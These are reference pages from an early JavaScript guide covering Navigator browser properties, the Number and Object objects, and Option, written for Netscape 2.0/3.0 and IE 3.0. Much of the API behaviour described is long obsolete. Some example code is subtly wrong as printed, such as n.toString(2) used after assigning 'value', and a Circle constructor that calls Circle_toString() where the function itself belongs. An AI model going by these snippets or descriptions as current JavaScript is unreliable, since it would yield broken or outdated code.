navigator.appName is a read-only string property that specifies the name of the browser. For Navigator 2.0 and 3.0, the value of this property is "Netscape". In Internet Explorer 3.0, the value of this property is "Microsoft Internet Explorer".

See Also

"Navigator", "Navigator.appCodeName", "Navigator.appVersion", "Navigator.userAgent"

Previous | Home | Next
Navigator.appCodeName | Book Index | Navigator.appVersion
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Navigator.appVersion

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Navigator.appVersion Property

Name

Navigator.appVersion Property---the platform and version of the browser

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

navigator.appVersion

Description

navigator.appVersion is a read-only string property that specifies platform and version information for the browser. For Navigator 2.0 and 3.0, this property has the following format:

version (platform; encryption[; detail])

version is the version number; "2.01", for example. platform is a general indication of the platform. For example, "Win16" indicates a 16-bit version of Windows, "Win95" indicates Windows 95, and "X11" indicates a Unix platform running the X Window System. encryption is either "U" indicating a domestic U.S. release of Navigator, with strong encryption, or "I" indicating an international release with weakened encryption capabilities (to comply with U.S. government export control laws on cryptographic technologies.) Finally, the optional detail may provide additional information about the platform. On my platform, for example, it is the string "Linux 1.2.13 i486".

In Internet Explorer 3.0 running on Windows 95, this property has the value "2.0 (compatible; MSIE 3.0A; Windows 95)". Note that IE 3.0 reports a version number of "2.0". This is to be compatible with Navigator 2.0, which it most closely resembles. The remainder of the string does contain complete IE version information, however.

See Also

"Navigator", "Navigator.appCodeName", "Navigator.appName", "Navigator.userAgent"

Previous | Home | Next
Navigator.appName | Book Index | Navigator.javaEnabled()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Navigator.javaEnabled()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Navigator.javaEnabled() Method

Name

Navigator.javaEnabled() Method---test whether Java is available

Availability

Navigator 3.0

Synopsis

navigator.javaEnabled()

Arguments

None.

Returns

true if, and only if, Java is supported by and enabled on the current browser.

Description

You can use navigator.javaEnabled() to check whether the current browser will be able to display applets, and also whether JavaScript will be able to work with Java objects through the Properties object. If Java is not available, you can use JavaScript to perform some alternative action.

See Also

"Document.applets[]", "Navigator", Properties

Previous | Home | Next
Navigator.appVersion | Book Index | Navigator.mimeTypes[]
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Navigator.mimeTypes[]

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Navigator.mimeTypes[] Property

Name

Navigator.mimeTypes[] Property---array of supported MIME types

Availability

Navigator 3.0

Synopsis

navigator.mimeTypes[]
navigator.mimeTypes.length

Description

navigator.mimeTypes is an array of MimeType objects, each of which represents one of the MIME types (e.g., "text/html" and "image/gif") supported by the browser. There are navigator.mimeTypes.length elements in the array.

See Also

"Navigator", "Navigator.plugins[]", "MimeType", "Plugin"

Previous | Home | Next
Navigator.javaEnabled() | Book Index | Navigator.plugins[]
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Button.onblur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Button.onblur() Handler

Name

Button.onblur() Handler--- see "Element.onblur()"

Previous | Home | Next
Button.name | Book Index | Button.onclick()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Navigator.plugins[]

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Navigator.plugins[] Property

Name

Navigator.plugins[] Property---array of installed plug-ins

Availability

Navigator 3.0

Synopsis

navigator.plugins[]
navigator.plugins.length

Description

navigator.plugins is an array of Plugin objects, each of which represents one plug-in that has been installed along with the browser. There are navigator.plugins.length elements in the array. The Plugin object provides information about the plug-in, including a list of MIME types it supports.

A plug-in is the Netscape name for a software package that can be invoked by Navigator to display specific data types within the browser window.

See Also

"Navigator", "Navigator.mimeTypes[]", "MimeType", "Plugin"

Previous | Home | Next
Navigator.mimeTypes[] | Book Index | Navigator.plugins.refresh()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Navigator.plugins.refresh()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Navigator.plugins.refresh() Property

Name

Navigator.plugins.refresh() Property---make newly installed plug-ins available

Availability

Navigator 3.0

Synopsis

navigator.plugins.refresh([reload])

Arguments

reload

An optional Boolean argument that, if true specifies that refresh() should reload any pages that contain <EMBED> tags and use plug-ins. If this argument is omitted, it defaults to false.

Description

The refresh() method causes Navigator to check whether any new plug-ins have been installed. If so, the plugins[] array is updated ("refreshed") to include the newly installed plug-ins. If the reload argument is specified and is true, then Navigator will also reload any currently displayed documents that contain <EMBED> tags and use plug-ins.

Note the unusual synopsis for this method. refresh() is a method of the plugins[] array, not of the Navigator object. For almost all purposes, however, it is simpler to consider it a method of the Navigator object, which is why it is grouped with the methods and properties of that object here.

See Also

"Navigator", "Navigator.plugins[]", "Plugin"

Previous | Home | Next
Navigator.plugins[] | Book Index | Navigator.taintEnabled()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Navigator.taintEnabled()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Navigator.taintEnabled() Method

Name

Navigator.taintEnabled() Method---test whether data tainting is enabled

Availability

Navigator 3.0

Synopsis

navigator.taintEnabled()

Arguments

None.

Returns

true if, and only if, the data-tainting security model is supported by and enabled on the current browser, false if the data-tainting security model is not in effect.

Description

You can use navigator.taintEnabled() to test whether the browser that your JavaScript code is running on uses the data-tainting security model or not. Without data tainting in effect, there are a number of restrictions on what properties your code can read. With data tainting on, there are restrictions on what kinds of data your script can send to a server in a form submission.

See Chapter 20, JavaScript Security for a full discussion of JavaScript security, and JavaScript capabilities both with and without data tainting.

See Also

"Navigator", Chapter 20, JavaScript Security

Previous | Home | Next
Navigator.plugins.refresh() | Book Index | Navigator.userAgent
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Navigator.userAgent

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Navigator.userAgent Property

Name

Navigator.userAgent Property---the HTTP user-agent value

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

navigator.userAgent

Description

navigator.userAgent is a read-only string property that specifies the value the browser uses for the user-agent header in HTTP requests. In Navigator 2.0 and 3.0, this property is the value of navigator.appCodeName followed by a slash and the value of navigator.appVersion. For example:

Mozilla/2.01 (Win16; I)

In Internet Explorer 3.0, this property has the value "Mozilla/2.0 (compatible; MSIE 3.0A; Windows 95)". Once again, this is the value of appCodeName followed by a slash and the value of appVersion.

See Also

"Navigator", "Navigator.appCodeName", "Navigator.appName", "Navigator.appVersion"

Previous | Home | Next
Navigator.taintEnabled() | Book Index | netscape
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: netscape

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

netscape Property

Name

netscape Property---the netscape.* package

Availability

Navigator 3.0

Synopsis

netscape

Description

netscape is a global property of the Window object, and is usually used without reference to any particular window. It is a synonym for Packages.netscape, and contains a read-only reference to a JavaPackage object that represents the top node of the netscape.* package name hierarchy. The netscape Package contains, for example, a javascript property which is a reference to the Package object for the netscape.javascript package.

See Also

"JavaPackage", "Packages.netscape"

Previous | Home | Next
Navigator.userAgent | Book Index | Number
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Number

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Number Object

Name

Number Object---place-holder for numeric constants

Availability

Navigator 3.0

Synopsis

Number.constant

Constructor

new Number(value)

Arguments

value

The numeric value of the Number object being created. This argument will be converted to a number, if necessary.

Returns

The newly constructed Number object

Constants

MAX_VALUE

The largest representable number.

MIN_VALUE

The smallest representable number.

NaN

Special Not-a-Number value.

NEGATIVE_INFINITY

Special negative infinite value; returned on overflow.

POSITIVE_INFINITY

Special infinite value; returned on overflow.

Methods

toString()

Convert a number to a string, using a specified radix (base).

valueOf()

Return the primitive numeric value contained by the Number object.

Description

Numbers are a basic, primitive data type in JavaScript. In Navigator 3.0, however, JavaScript also supports the Number object, an object type that represents a primitive numeric value. JavaScript automatically converts between the primitive and object forms as necessary. In Navigator 3.0, you can explicitly create a Number object with the Number() constructor, although there is rarely any need to do so.

The Number() constructor is actually more commonly used as a place-holder for five useful numeric constants: the largest and smallest representable numbers, positive and negative infinity, and the special Not-a-Number value. Note that these values are properties of the Number() constructor function itself, not of individual number objects. For example, you use the MAX_VALUE property as follows:

biggest = Number.MAX_VALUE
not like this:

n = new Number(2);
biggest = n.MAX_VALUE

By contrast, the toString() method of the Number object is a method of each Number object, not of the Number() constructor function. As noted above, JavaScript automatically converts from primitive numeric values to Number objects whenever necessary. This means that we can use the toString() method with a variable that holds a number, even though that value is not actually an object:

value = 1234;
binary_value = n.toString(2);

What happens in this code is that JavaScript implicitly invokes the Number() constructor to convert the number n to a temporary Number object for which the toString() method can be invoked. It is this toString() method that is the main reason for the existence of the Number object in the first place.

See Also

"Math", "Object"

Previous | Home | Next
netscape | Book Index | Number.MAX_VALUE
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Number.MAX_VALUE

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Number.MAX_VALUE Constant

Name

Number.MAX_VALUE Constant---the maximum numeric value

Availability

Navigator 3.0

Synopsis

Number.MAX_VALUE

Description

Number.MAX_VALUE is the largest number representable in JavaScript. Its value is approximately 1.79E+308.

See Also

"Number", "Number.MIN_VALUE"

Previous | Home | Next
Number | Book Index | Number.MIN_VALUE
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Number.MIN_VALUE

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Number.MIN_VALUE Constant

Name

Number.MIN_VALUE Constant---the minimum numeric value

Availability

Navigator 3.0

Synopsis

Number.MIN_VALUE

Description

Number.MIN_VALUE is the smallest (closest to zero, not most negative) number representable in JavaScript. Its value is approximately 2.22E-308.

See Also

"Number", "Number.MAX_VALUE"

Previous | Home | Next
Number.MAX_VALUE | Book Index | Number.NaN
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Number.NaN

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Number.NaN Constant

Name

Number.NaN Constant---the special Not-a-Number value

Availability

Navigator 3.0

Synopsis

Number.NaN

Description

Number.NaN is a special value that indicates that the result of some arithmetic operation (such as division by zero) or mathematical function is "Not-a-Number." parseInt() and parseFloat() return this value when they cannot parse the specified string, and you might use Number.NaN in a similar way to indicate an error condition for some function that normally returns a valid number.

JavaScript prints the Number.NaN value as NaN. Note that the NaN value always compares unequal to any other number, including NaN itself. Thus, you cannot check for the Not-a-Number value by comparing to Number.NaN. Use the isNaN() function instead.

See Also

"isNaN()", "Number"

Previous | Home | Next
Number.MIN_VALUE | Book Index | Number.NEGATIVE_INFINITY
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Number.NEGATIVE_INFINITY

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Number.NEGATIVE_INFINITY Constant

Name

Number.NEGATIVE_INFINITY Constant---negative infinity

Availability

Navigator 3.0

Synopsis

Number.NEGATIVE_INFINITY

Description

Number.NEGATIVE_INFINITY is a special numeric value that is returned when an arithmetic operation or mathematical function generates a negative value greater than the largest representable number in JavaScript (i.e., more negative than -Number.MAX_VALUE).

JavaScript displays the NEGATIVE_INFINITY value as -Infinity. This value behaves mathematically like an infinity--for example, anything multiplied by infinity is infinity, and anything divided by infinity is zero.

See Also

"Number", "Number.POSITIVE_INFINITY"

Previous | Home | Next
Number.NaN | Book Index | Number.POSITIVE_INFINITY
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Button.onclick()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Button.onclick() Handler

Name

Button.onclick() Handler---invoked when a Button is clicked

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

<INPUT TYPE="button" a definition of the handler
       VALUE="button-text"
       onClick="handler-statements">
button.onclick    a reference to the handler
button.onclick(); an explicit invocation of the handler

Description

onclick() is an event handler invoked when the user clicks on a button. A button's onclick() handler is defined by the onClick attribute of the HTML <INPUT> tag. The value of this attribute may be any number of JavaScript statements, separated by semicolons; these statements will be executed when the user clicks on the button.

See Also

"Button"

Previous | Home | Next
Button.onblur() | Book Index | Button.onfocus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Number.POSITIVE_INFINITY

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Number.POSITIVE_INFINITY Constant

Name

Number.POSITIVE_INFINITY Constant---infinity

Availability

Navigator 3.0

Synopsis

Number.POSITIVE_INFINITY

Description

Number.POSITIVE_INFINITY is a special numeric value that is returned when an arithmetic operation or mathematical function generates a value greater than the largest representable number in JavaScript (i.e., greater than Number.MAX_VALUE).

JavaScript displays the POSITIVE_INFINITY value as Infinity. This value behaves mathematically like an infinity--for example, anything multiplied by infinity is infinity, and anything divided by infinity is zero.

Note that when numbers "underflow," i.e., when they become less than Number.MIN_VALUE, JavaScript converts them to zero.

See Also

"Number", "Number.NEGATIVE_INFINITY"

Previous | Home | Next
Number.NEGATIVE_INFINITY | Book Index | Number.prototype
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Number.prototype

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Number.prototype Property

Name

Number.prototype Property---see "Function.prototype"

Previous | Home | Next
Number.POSITIVE_INFINITY | Book Index | Number.toString()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Number.toString()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Number.toString() Method

Name

Number.toString() Method---convert a number to a string

Availability

Navigator 3.0

Synopsis

number.toString([radix])

Arguments

radix

This optional argument specifies the base that should be used to convert the number. It should be an integer between 2 and 16. If no value is specified, then base 10 is used.

Returns

The string representation of the number in the specified radix.

Description

The toString() method of the Number object converts a Number to a string, using the specified radix or base. If no radix is specified, base 10 is used.

Usage

Because JavaScript automatically converts numeric values to temporary Number objects when needed, you can use the toString() method on numbers, even though they are primitive types rather than true JavaScript objects:

n = 123;
s = n.toString(16);

Note, however, that because of syntactic restrictions in the language, you cannot use the toString() method on numeric literals. You must assign them to variables first; i.e., you cannot rewrite the two lines of code above as:

s = 123.toString(16);

See Also

"Number", "Object.toString()"

Previous | Home | Next
Number.prototype | Book Index | Number.valueOf()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Number.valueOf()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Number.valueOf() Method

Name

Number.valueOf() Method--- see "Object.valueOf()"

Previous | Home | Next
Number.toString() | Book Index | Object
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Object

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Object Object

Name

Object Object---features of all JavaScript objects

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Constructor

new Object();
new Object(value);    Navigator 3.0

Arguments

value

In Navigator 3.0, this optional argument specifies a primitive JavaScript value--a number, a Boolean, a string, or a function--that is to be converted to an object.

Returns

If no value argument is passed, this constructor returns a newly created object, which has no properties defined. If a primitive value argument is specified, then the constructor creates and returns a Number, Boolean, String, or Function object wrapper around the primitive value.

Properties

constructor

A read-only reference to the JavaScript function that was the constructor for the object. This property is not defined in Navigator 2.0 or Internet Explorer 3.0.

Methods

assign()

A method, which, if defined, is used to implement the JavaScript assignment operator (=).

eval()

Evaluate a string of JavaScript code in the context of the given object. In Navigator 2.0 and Internet Explorer 3.0, eval() is a standalone function, rather than a method of Object.

toString()

A method, which, if defined, is used to convert an object to a string.

valueOf()

Return the primitive value of the object, if any. For objects of type Object, this method simply returns the object itself. For other object types, such as Number and Boolean, this method returns the primitive value associated with the object. This method was added in Navigator 3.0.

Description

The Object object is a built-in data type of the JavaScript language. It serves as the "superclass" for all other JavaScript objects, and therefore methods of the Object object are methods of all other object types. Similarly, the behavior of the Object object is shared by all other object types. The basic behavior of objects in JavaScript is explained in Chapter 7, Objects.

A number of the Object methods listed above are unusual in that they are not predefined, and are not intended to be invoked by the JavaScript code that you write. Instead these are methods that you can define for any object, and that will be invoked by the JavaScript system at appropriate times, to perform some sort of operation on the object. The toString() method is an example: once you have defined this method for an object, the system will invoke it whenever it needs to convert that object to a string.

JavaScript allows object syntax to be used to refer to properties and methods of primitive datatypes, such as JavaScript strings. When you do this with JavaScript expressions such as "hello".toUpperCase(), what actually happens is that JavaScript creates a temporary object "wrapper" for the primitive value (a string in this case) so that the method can be invoked or the property accessed. This primitive value to object conversion is performed automatically by JavaScript whenever necessary, but if you ever need to perform it yourself, you can do so by passing the primitive value to the Object() constructor.

Usage

When an Object object is newly created, it has no properties defined. As described in Chapter 7, Objects, you can add a property definition to an object simply by assigning a value to the property. Furthermore, objects can be used as associative arrays. In some cases you will want to create an "empty" object of this sort for use in your programs. You do this with:

blank_obj = new Object();

In other cases, however, you will want to use a number of objects that are all of a certain type, such as objects that represent complex numbers, for example. To do this, you should write a constructor function for your object "class" and initialize the properties of the object as desired. You may also want to define a prototype object for your constructor function that will provide methods for all objects of your new object type.

Example

Defining the toString() method, and also the less frequently used assign() and valueOf() methods of an object, is most efficiently done in a constructor method for your object type, or with the prototype object of your object.

// define a constructor for the Complex object type
function Complex(x,y) { this.x = x; this.y = y; }
// Create a dummy object to force the prototype object to be created
new Complex(0,0);
// give all Complex objects a toString() method
Complex.prototype.toString =
    new Function("return '{' + this.x + ',' + this.y + '}';");
// Create an object of this new Complex type
c = new Complex(2, 2);
// Convert the object to a string, implicitly invoking the
// toString() method, and display the string.
alert("c = " + c);   // displays string "{2,2}"

See Also

"Array", "Boolean", "Function", "Function.prototype", "Number", "String", "Window", Chapter 7, Objects

Previous | Home | Next
Number.valueOf() | Book Index | Object.assign()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Object.assign()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Object.assign() Method

Name

Object.assign() Method---overload the assignment operator

Availability

Navigator 3.0

Synopsis

object.assign(value)

Arguments

value

The value to be assigned. The assign() method should, in some fashion, assign value to the object.

Returns

Nothing.

Description

The assign() method is not one you usually call explicitly in your JavaScript code. Instead you define this method for certain objects, and the system invokes the method automatically when a value is assigned to that object.

If an object o has an assign() method defined, then the assignment:

o = value;
is translated to the following function call:

o.assign(value);

The assign() method should be written to expect a single argument, which will always be the value of the right-hand side of an assignment operator. When invoked, the object will refer to the left-hand side of the assignment. The body of the method should "assign," in some appropriate fashion, the value to the object.

Usage

You might define the assign() method when you want assignment to an object to perform some sort of side effect. For example, in client-side JavaScript, assigning a URL value to the location field of a window object causes the browser to load that URL into the window.

Sometimes, you may want to define an assign() method for only one single special object. In other cases, however, you will want all instances of a class of objects to have a special assignment behavior. In this case, you should set the assign() method in a constructor function or a prototype object.

Example

The following code shows how you could define an assign() method for a class of objects so that when one object of this class is assigned to another, the object's fields will be assigned "by value," rather than assigning "by reference."

// Define a function suitable for use as our assign() method.
function copy_fields(value)
{
    for (field in value) this[field] = value[field];
}
// Define it as the assign() method in a prototype object, so that
// all instances of the object type have this assign() method.
MyObject.prototype.assign = copy_fields;

See Also

"Object"

Previous | Home | Next
Object | Book Index | Object.constructor
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Object.constructor

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Object.constructor Property

Name

Object.constructor Property---an object's constructor function

Availability

Navigator 3.0

Synopsis

object.constructor

Description

The constructor property of any object is a read-only reference to the function that was used as the constructor for that object. For example, if you create an array a with the Array() constructor, then a.constructor will be Array:

a = new Array(1,2,3);    // create an object
a.constructor == Array   // evaluates to true

One common use of the constructor property is to determine the type of unknown objects. Given an unknown value, you can use the typeof operator to determine whether it is a primitive value or an object. If it is an object, you can use the constructor property to determine what type of object it is. For example, the following function determines whether a given value is a Document object:

function isDocument(x) {
    return ((typeof x == "object") && (x.constructor == "Document"));
}
Note, however, that this technique is not possible with all object types. In Navigator 3.0 there is no Window() constructor, for example, and Window objects have their constructor property set to Object.

See Also

"Object", Chapter 7, Objects

Previous | Home | Next
Object.assign() | Book Index | Object.eval()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Object.eval()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Object.eval() Method

Name

Object.eval() Method---evaluate JavaScript code in a string

Availability

Navigator 2.0, Internet Explorer 3.0; modified in Navigator 3.0

Synopsis

eval(code)    Navigator 2.0, Internet Explorer 3.0
object.eval(code)   Navigator 3.0

Arguments

code

A string that contains the JavaScript expression to be evaluated or the statements to be executed.

Returns

The value of the evaluated code, if any.

Description

In Navigator 2.0 and Internet Explorer 3.0, eval() is a built-in function (i.e., not a method of any object), but it behaves as if it is a method of the Window object. In Navigator 3.0, eval() has become a method of Object, so it can be invoked through a JavaScript object of any type.

eval() executes the JavaScript code in its string argument code. code may contain one or more JavaScript statements. If there is more than one statement, they must be separated from each other by semicolons. Recall that JavaScript expressions are themselves a simple type of statement, so you can also use eval() to evaluate a JavaScript expression rather than execute a statement. eval() returns the value of the last expression in code that it evaluates. If code contains only statements that have no value, eval() returns nothing.

In Navigator 2.0 and Internet Explorer 3.0, eval() evaluates the specified code in the context of the current Window object. In Navigator 3.0, it evaluates the code in the context of the object through which it is invoked. Thus, in Navigator 3.0, when you use eval() without an object specified to its left, it is implicitly invoked through the current window object, and its behavior is the same as in Navigator 2.0.

But in Navigator 3.0, eval() can also be invoked through other objects:

var x = 1;
o = new Object();
o.x = 2;
o.eval('x');  // evaluated in o's context; returns 2
eval('x');    // evaluated in Window context; returns 1

Usage

eval() provides the capability for a JavaScript program to dynamically modify the code that it executes. It gives you the ability to write a JavaScript program that acts as a JavaScript interpreter. In practice, eval() is not frequently used. In most cases, you can do anything you want with a statically defined function.

Bugs

eval() crashes Navigator 2.0 on 16-bit Windows (Windows 3.1) platforms. A workaround that is possible in some cases is to use Window.setTimeout() with a zero-millisecond delay as a replacement for eval().

See Also

"Object", "Window.setTimeout()"

Previous | Home | Next
Object.constructor | Book Index | Object.prototype
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Object.prototype

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Object.prototype Property

Name

Object.prototype Property---see "Function.prototype"

Previous | Home | Next
Object.eval() | Book Index | Object.toString()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Object.toString()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Object.toString() Method

Name

Object.toString() Method---define an object's string representation

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

object.toString()

Arguments

None.

Returns

A string representing the object.

Description

The toString() method is not one you usually call directly in your JavaScript programs. Instead, you define this method in your objects, and the system calls it whenever it needs to convert your object to a string.

The JavaScript system invokes the toString() method to convert an object to a string whenever the object is used in a "string context." For example, if an object is converted to a string when it is passed to a function that expects a string argument:

alert(my_object);

Similarly, objects are converted to strings when they are concatenated to strings with the + operator:

alert('My object is: ' + my_object);

The toString() method will be invoked without arguments, and should return a string. To be useful, the string you return should be based, in some way, on the value of the object for which the method was invoked.

Usage

The toString() method can be quite useful when you are debugging JavaScript programs--it allows you to print objects and see their value. For this reason alone, it is a good idea to define a toString() method for every object class you create.

The string returned by toString() can be as complex as you like, and this method need not be restricted to use in debugging, of course. For example, a toString() method could be defined to return HTML formatted text. If the wording and formatting are chosen appropriately, then you could use document.write() to output a string representation of an object directly into an HTML document!

Although the toString() method is usually invoked automatically by the system, there are times when you may invoke it yourself. For example, you might want to do an explicit conversion of an object to a string in a situation where JavaScript will not do it automatically for you:

y = Math.sqrt(x);
ystr = y.toString();

Note in this example that numbers have a built-in toString() method that you can use to force a conversion.

In other circumstances, you might choose to use a toString() call even in a context where JavaScript would do the conversion automatically. Using toString() explicitly can help to make your code clearer:

alert(my_obj.toString());

It does not generally make sense to define a toString() method for only a single object, so you will usually assign this method to a prototype object so that it is available to all objects in a class of objects.

Example

You might define a simple class of Circle objects and specify a toString() method for it as follows. (In Navigator 3.0, you could use a prototype object to define the method rather that setting it each time the constructor function is called.)

function Circle_toString() {
    return "[A circle of radius " + this.r + "]";
}
function Circle(r) {
    this.r = r;
    this.toString = Circle_toString();
}

See Also

"Object"

Previous | Home | Next
Object.prototype | Book Index | Object.valueOf()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Button.onfocus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Button.onfocus() Handler

Name

Button.onfocus() Handler--- see "Element.onfocus()"

Previous | Home | Next
Button.onclick() | Book Index | Button.type
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Object.valueOf()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Object.valueOf() Method

Name

Object.valueOf() Method---the primitive value of the specified object

Availability

Navigator 3.0

Synopsis

object.valueOf();

Arguments

None.

Returns

The primitive value associated with the object, if any. Otherwise, returns the object itself.

Description

The valueOf() method of an object returns the primitive value associated with that object, if there is one. For objects of type Object, and for the client-side JavaScript objects, there is no primitive value, and this method simply returns the object itself.

For objects of type Number, however, valueOf() returns the primitive numeric value represented by the object. Similarly, it returns the primitive Boolean value associated with a Boolean object, the string associated with a String object, and the function associated with a Function object.

It is rarely, if ever, necessary to invoke the valueOf() method yourself. JavaScript does this automatically whenever an object is used where a primitive value is expected. In fact, because of this automatic invocation of the valueOf() method, it is difficult to even distinguish between primitive values and their corresponding objects. The typeof operator will show you the difference between strings and String objects and functions and Function objects, for example, but in practical terms, you can use them equivalently in your JavaScript code.

The valueOf() methods of the Number, Boolean, String, and Function objects convert these "wrapper" objects to the primitive values they represent. The Object() constructor performs the opposite operation when invoked with a number, Boolean, string, or function argument: it wraps the primitive value in an appropriate object wrapper. JavaScript performs this primitive to object conversion for you in almost all circumstances, so it is rarely, if ever, necessary to invoke the Object() constructor in this way.

Usage

In some circumstances, you may want to define a custom valueOf() method for your own objects. For example, you might define a JavaScript object type to represent complex numbers (a real number plus an imaginary number). As part of this object type, you'd probably define methods for performing complex addition, multiplication, and so on. But you might also want the ability to treat your complex numbers like ordinary real numbers by discarding the imaginary part. You might do something like the following:

Complex.prototype.valueOf = new Function("return this.real");

With this valueOf() method defined for your Complex object type, you could then do things like pass one of your complex number objects to Math.sqrt(), which would compute the square root of the real portion of the complex number.

See Also

"Object", "Object.toString()"

Previous | Home | Next
Object.toString() | Book Index | open()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: open()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

open() Method

Name

open() Method---see "Window.open()"

Previous | Home | Next
Object.valueOf() | Book Index | opener
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: opener

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

opener Property

Name

opener Property---see "Window.opener"

Previous | Home | Next
open() | Book Index | Option
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Option

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Option Object

Name

Option Object---an option in a Select box

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

select.options[i]

Properties

defaultSelected

A read-only Boolean that specifies whether this option is selected by default. Set by the SELECTED attribute.

index

A read-only integer that specifies the index of this option within the array of options.

selected

A read/write Boolean that specifies whether this option is currently selected. Its initial value is specified by the SELECTED attribute.

text

The text that describes the option. It is the plain text (not formatted HTML text) that follows the <OPTION> tag. In Navigator 2.0 and Internet Explorer 3.0, this property is read-only. In Navigator 3.0 it is read/write.

value

A read/write string that specifies the value to be passed to the server if this option is selected when the form is submitted. The initial value is specified by the VALUE attribute.

Constructor

